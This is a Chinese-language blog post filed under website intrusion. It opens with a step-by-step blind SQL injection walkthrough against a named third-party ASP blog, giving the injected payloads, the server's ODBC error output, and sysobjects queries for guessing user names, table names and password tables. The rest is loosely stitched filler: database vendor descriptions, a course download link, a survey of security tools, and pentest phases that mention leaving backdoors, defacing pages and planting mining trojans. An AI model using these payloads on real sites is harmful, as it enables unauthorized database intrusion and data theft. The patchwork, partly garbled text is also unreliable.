作者:hacker发布时间:2022-12-27分类:网站入侵浏览:103评论:1
如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方
当加入" ' "符号进行注入测试时,
'
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int
我们知道它不对" ' "符号进行过滤。再用如下语句测试,
http //www aquavelvas com/blog.asp?id=4 and 1=1
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int
好,再来继续测试,
http //www aquavelvas com/blog.asp?id=4'%20and%20'1'='1
这次出错讯息不同了,如下
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '
我们的" ' "符号加对了,再继续测试,
'%20and%20user'0
出错信息如下,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user'
应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,
'%20and%20len(user)'0
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)'
好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)0,凭着刚才的想法,我们知道在逻辑上这是对的。
我们试试逻辑上错的语句,
'%20and%20user%20'1'='2
果然,出错信息是,
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record
从len(user)0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function,我们可猜出数据库名。
好了,如何猜表名呢?就先猜表名的长度吧,
就用如下语句,
len(select top 1 name from sysobjects where xtype='U')10
len(select top 1 name from sysobjects where xtype='U')9
len(select top 1 name from sysobjects where xtype='U')8
...
(猜表名的工作是很烦人,建议用perl写个script来玩玩)
再猜表名,
left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...
好了,我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧!)
再继续猜表名,
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')8
...
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....
好第二个表名是blog,之后的表名可用('geoipcountrywhois','blog')来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?
如何搜索呢?就用如下的语句吧,
(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0
(记得将" % "这符号换成" %25 "才是正确的输入)
好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。
希望这思路能开阔注入技术的演变。
1、Microsoft SQL Server
SQL Server 是Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的膝上型电脑到运行Microsoft Windows 2012 的大型多处理器的服务器等多种平台使用。
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。
2、Oracle数据库
它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。
3、DB2
IBM公司研制的一种关系型数据库系统。DB2主要应用于大型应用系统,具有较好的可伸缩性,可支持从大型机到单用户环境,应用于OS/2.Windows等平台下。
DB2提供了高层次的数据利用性、完整性、安全性、可恢复性,以及小规模到大规模应用程序的执行能力,具有与平台无关的基本功能和SQL命令。
4、MySQL
MySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQL AB公司。在2008年1月16号被Sun公司收购。而2009年,SUN又被Oracle收购。
对于Mysql的前途,没有任何人抱乐观的态度。目前MySQL被广泛地应用在Internet上的中小型网站中。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。
5、Sybase
Sybase公司成立于1984年11月,总部设在美国加州的Emeryville(现为美国加州的Dublin市)。作为全球最大的独立软件厂商之一,Sybase公司致力于帮助企业等各种机构进行应用、内容及数据的管理和发布。
Sybase的产品和专业技术服务,为企业提供集成化的解决方案和全面的应用开发平台。Sybase作为享誉全球的跨国公司,在63个国家设立了分支机构,拥有4万多家客户,主要集中在金融服务业、政府部门、电信、医疗保健和媒体服务业。
渗透测试工程师课程-信息探测入门视频课程.zip 免费下载
链接:
提取码:v7c5
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。
之前在做 国内软件测试现状调查 之时,因为安全性测试工具太多,结果显示其分布比较广,填写“其它”占的比重很高(66%),为此专门做了一个调查 ,虽然收集的有效反馈不多(不到100),但基本反映了测试工具的使用现状。
1. 从总体看,(静态的)代码分析工具和(动态的)渗透测试工具应用还是比较普遍 ,超过60%,而且渗透测试工具(73.68%)略显优势,高出10%。模糊测试工具,可能大家感觉陌生,低至16%,但它在安全性、可靠性测试中还是能发挥作用的。从理论上看,代码分析工具应该能达到95%以上,因为它易用,且安全性已经是许多公司的红线,得到足够重视。 希望以后各个公司能够加强代码分析工具和模糊测试工具的应用。
2. Java代码安全性分析工具前三名是 : IBM AppScan Source Edition(42.11%)、Fotify Static Code Analyzer(36.84%)、Findbugs(26.32%) ,而JTest、PMD等没进入前三名,虽然和第3名差距不大,只有5%左右。也有公司使用Checkmarx,不在此调查中。Coverity也支持Java,可能Java的开源工具较多,人们很少用它。
3. C/C++代码安全性分析工具前三名是 : C++Test(38.89%)、IBM AppScan Source Edition(38.89%)、Fotify Static Code Analyzer(27.78%)、Visual Studio(27.78%) 。Coverity、CppCheck、LDRA Testbed 没能进入前三名,可能LDRA Testbed比较贵,关键的嵌入式软件采用比较多,而Coverity Cloud针对Github等上面的代码有免费服务(),大家可以尝试应用。
4. JavaScript代码安全性分析工具应用最多的是 Google's Closure Compiler,其次是JSHint,也有的公司用Coverity来进行JS的代码分析。
5. Python代码安全性分析工具应用最多的是Pychecker ,其次是PyCharm,而Pylint使用比较少,也有几个公司用Coverity来进行Python的代码分析。
6. Web应用安全性测试的商用工具中,IBM AppScan异军突起 ,高达70%的市场,其它商用工具无法与它抗衡,第2名SoapUI和它差距在50%以上,HP webInspect 不到10%。
7. Web应用安全性测试的开源工具中,Firebug明显领先 ,将近50%,比第2名OWASP ZAP高12%,第三名是Firefox Web Developer Tools,超过了20%。
8. Android App的安全性测试工具中,Android Tamer领先 ,将近30%,比第2、3名AndroBugs、Mobisec、Santoku高15%左右。也有用其它不在调查项中的工具,总体看,Android App安全性测试工具分布比较散。
9. 网络状态监控与分析工具中,Wireshark遥遥领先,超过70%。 其次就是Tcpdump、Burp Suite,占30%左右。网络状态监控与分析工具挺多的,但从这次调查看,越来越集中到几个工具中,特别是Wireshark功能强,覆盖的协议比较多,深受欢迎。
10. SQL注入测试工具排在前三位的:SQLInjector、SQL Power Injector、OWASP SQLiX, 三者比较接近,差距在6%左右。其它两项工具Pangolin、SQLSqueal也占了10%,而Antonio Parata、Blind SQL Injections、Bsqlbf-v2、Multiple DBMS Sql Injection、Sqlninja几乎没什么人用。
安全性测试工具很多,还包括黑客常用的一些工具,如暴力破解口令工具、端口扫描工具、防火墙渗透工具、渗透测试平台等。从某种意义看,它们超出软件范畴,更多属于网络空间安全、密码学等范畴,在此就不展开了。概括起来最受欢迎的软件安全性测试工具有:
包含以下几个流程:
信息收集
第一步做的就是信息收集,根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。
漏洞探测
当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:SQL注入 。
漏洞利用
探测到了该网站存在漏洞之后,就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。
内网渗透
当我们能跟内网主机进行通信后,我们就要开始进行内网渗透了。可以先使用nmap对内网主机进行扫描,探测在线的主机,并且探测其使用的操作系统、开放的端口等信息。
内网中也有可能存在供内网使用的内网服务器,可以进一步渗透拿下其权限。
痕迹清除
达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马。
撰写渗透测试保告
在完成了渗透测试之后,就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击。
新建一个文本文件,更改扩展名为aabb.udl双击此文件,选数据库类型、设置ip、用户名、密码,数据库可进行连接测试 ,当然对方要开sql服务的测试成功后,点确定将这个文件以文本方式打开, 里面有连接字符串,装sql 查询分析器。
标签:sql渗透用什么工具
已有1位网友发表了看法:
访客 评论于 2022-12-28 02:57:04 回复
为那几块,每一块有哪些内容6、如何进行渗透测试才有可能登录到数据库服务器的远程终端如何灵活地运用SQLInjection做数据库渗透的一种思路如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比